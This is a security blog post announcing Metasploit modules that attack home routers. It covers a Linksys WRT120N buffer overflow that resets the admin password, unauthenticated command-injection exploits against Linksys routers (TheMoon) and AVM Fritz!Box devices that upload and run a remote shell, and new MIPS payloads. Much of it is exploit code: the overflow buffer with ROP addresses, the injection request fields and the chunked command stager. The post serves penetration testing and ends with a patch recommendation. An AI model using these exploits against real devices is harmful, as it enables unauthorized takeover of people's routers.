no one is safe ...

New #Metasploit modules for attacking embedded devices are available

During the last few weeks a lot of new stuff in breaking embedded devices has arrived. There are some quite interesting vulnerabilities, exploits and some new payloads available.

Linksys WRT120N

First of all Craig Heffner has analyzed the Linksys WRT120N router and he has created a lot of detailed information about this work on his blog. The series of blogposts start with some details about breaking the hardware. Second he shows how it is possible to extract the firmware from the device. Finally Craig has found an interesting buffer overflow vulnerability and he has created a nice and shiny exploit for it. This exploit is able to reset the password for the web-interface of the router. So I thought this would be a quite nice Metasploit Auxiliary module.

The following code is the interesting part of the module – the full code is available on Github.

Within the main function (run) it starts with a first test of the login with the username admin and no password. If this test is successful there is no further need for this module and it is finished:

   if check_login("admin")
      print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.")

Next the exploit logic from the original exploit was ported to Metasploit. While the original exploit uses static strings the Metasploit module uses its typical evading mechanism via generating the strings dynamically. So every exploiting attempt looks a bit different and makes it harder for detection.

Hint: This feature is quite useful for the final exploit but during development you probably would use static strings.

    print_status("#{peer} - Resetting password for the admin user ...")

    postdata = Rex::Text.rand_text_alpha(246)             # Filler
    postdata << [0x81544AF0].pack("N")                    # $s0, address of admin password in memory
    postdata << [0x8031f634].pack("N")                    # $ra
    postdata << Rex::Text.rand_text_alpha(40)             # Stack filler
    postdata << Rex::Text.rand_text_alpha(4)              # Stack filler
    postdata << [0x803471b8].pack("N")                    # ROP 1 $ra (address of ROP 2)
    postdata << Rex::Text.rand_text_alpha(8)              # Stack filler

    (0..3).each do |i|
      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s0, don't care
      postdata << Rex::Text.rand_text_alpha(4)            # ROP 2 $s1, don't care
      postdata << [0x803471b8].pack("N")                  # ROP 2 $ra (address of itself)
      postdata << Rex::Text.rand_text_alpha(4-(3*(i/3)))  # Stack filler

The created buffer for the post-request is then used for generating a nice HTTP POST request via send_request_cgi.

      res = send_request_cgi(
          'uri'    => normalize_uri("cgi-bin", "tmUnblock.cgi"),
          'method' => 'POST',
          'vars_post' => {
            'period' => '0',
            'TM_Block_MAC' => '00:01:02:03:04:05',
            'TM_Block_URL' => postdata

If we get a response and the HTTP response code is 500 it looks quite promising and finally the module tries again to login with the user admin and without a password. If this login attempt is successful the exploit has done a good job and we are able to login and configure the router through the web-interface.

      if res and res.code == 500
        if check_login("admin")
          print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password")
          print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password")

The following screenshot shows the module in action:

Great work Craig!

Linksys – TheMoon worm

During February there were some interesting reports about a new worm attacking embedded devices in the forum diary of the SANS institute. This worm attacks different Linksys routers and exploits a typical command injection vulnerability. This vulnerability was in the tmUnblock.cgi binary and it was exploitable without authentication. The worm downloads and executes a foreign binary via the web-interface.

There are at least the following devices reported as vulnerable: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900.

Because of the fact that there are so many devices affected I was interested in creating a Metasploit module out of the details we had. The first try was also to create a payload and initiate a download then execute it via this command injection. This module is not included in the framework but if someone is interested it is fully functional and available over here.
This method has some disadvantages. First of all the module is a bit complex, then the target device needs Wget preinstalled. If there are some affected devices without Wget then the module fails. So we decided to try another method. This second method uses a nice feature of the typical echo implementation. Following the help output of the busybox echo command is shown:

#chroot . ./qemu /bin/echo --help
BusyBox v1.14.1 (2011-11-04 17:57:09 CST) multi-call binary
Usage: echo [-neE] [ARG...]
Print the specified ARGs to stdout
        -n      Suppress trailing newline
        -e      Interpret backslash-escaped characters (i.e., \t=tab)
        -E      Disable interpretation of backslash-escaped characters

Thanks to Juan, Metasploit has an easy to use Mixin. With this it is very easy to write a module that uses this technique. The following snippet of code shows the relevant part of ./lib/rex/exploitation/cmdstager/echo.rb that creates the beginning and the end of our command string:

  def generate_cmds(opts)
    # Set the start/end of the commands here (vs initialize) so we have @tempdir
    @cmd_start = “echo “
    unless opts[:noargs]
      @cmd_start += “-en “
    @cmd_end   = “>>#{@tempdir}#{@var_elf}”

To use this technique you have to include the following Mixins:

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerEcho

The following part shows the main logic of the final exploit:

  def exploit

You can see that the module by itself is very small. The whole special crafted shellcode is generated by the Mixin and you just have to define a request function with the name execute_command(cmd, opts) and the needed request details in the following way:

def execute_command(cmd, opts)
      res = send_request_cgi({
        'uri'    => '/tmUnblock.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'vars_post' => {
          "submit_button" => "",
          "change_action" => "",
          "action" => "",
          "commit" => "0",
          "ttcp_num" => "2",
          "ttcp_size" => "2",
          "ttcp_ip" => "-h `#{cmd}`",
          "StartEPI" => "1"

For a first test it is recommended to have access to the device. Via this you are able to verify that the payload is written correctly, chmoded and executed in the right way. Sometimes if you are in hurry or you are not able to get access via another method like UART it will also work with a little bit of trial and error.

Fritz!Box command injection exploit

There was another popular command injection vulnerability in the last few weeks. It was directly exploited from the internet to harm users. The vendor of the Fritz!Box devices at first was not able to determine the correct attack vector and so it took quite a while to release patches. Because nearly every device of AVM is vulnerable it was a bit of a disaster for the vendor. As soon as they were able to reproduce the vulnerability they released patches for every device within a very short time period *thumbs up*.

The following devices are reported as affected:
7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270

The vulnerability by itself was first publicly documented here. and it is a typical unauthenticated command injection via an unsanitized parameter in the /cgi-bin/webcm CGI. Fabian Bräunlein has done an in depth analysis of the vulnerability over here. The exploit module is quite easy and it looks nearly the same as the previously mentioned TheMoon module. The FritzOS also includes Wget, so it is possible to use the download and execute method as another way of exploitation. Because this way was a bit more complex and has the dependency on Wget again I was using the cmd_echo mixin for the final exploit.

A screenshot of the exploit module that uses Wget is available over here.

The final module looks nearly the same as the previously mentioned TheMoon exploit, the main difference is that the request length is limited to around 90 bytes and we have to split our shellcode in chunks of this size. The Mixin is able to handle this and to fire the request of the vulnerable CGI as often as it is needed to transfer the whole payload and execute it on the target device.

  def exploit
      :linemax => 90

The following screenshot shows the module options and the configuration of the module:

With the exploit command it is possible to fire up the module and after transferring the whole shellcode to the target device it executes the created executable and activates our nice and shiny remote shell. After the execution it also removes the new executable from the target device. With this feature no more manual cleanup task is needed.

@7a69 has done some very good updates for improving the check functionality and some other small fixes. Take a look over here. Thx a lot!

New MIPS payloads are available

Finally I have spent some time in a set of small MIPS payloads for the framework. For this a reboot and an execve payload were tested and ported as little endian and big endian versions to the framework. These payloads are quite useful in cases where the bigger Metasploit payloads will not fit out of the box. Typically, for special cases like exploits with a huge set of bad characters or with a very small size of controlled buffer. At least they can be used for debugging purposes. In the easiest way you could generate a payload binary with msfpayload and execute it on a MIPS machine like the Debian Linux from here ( /

Example: Generate the execve payload (MIPS Big Endian):

#./msfpayload linux/mipsbe/execve CMD=/sbin/ifconfig X > /firmware_stuff/learning_mips/mipsbe_execve_ifconfig.elf
Created by msfpayload (
Payload: linux/mipsbe/execve
Length: 59
Options: {"CMD"=>"/sbin/ifconfig"}

On the MIPS Debian Linux:

root@debian-mips:~# chmod +x mipsbe_execve_ifconfig.elf
root@debian-mips:~# ./mipsbe_execve_ifconfig.elf
eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56

With these modules every Metasploit user and pentester should be able to test his devices for the mentioned vulnerabilities. If you are affected it is recommended to update your router with a hopefully fixed firmware upgrade from the vendor.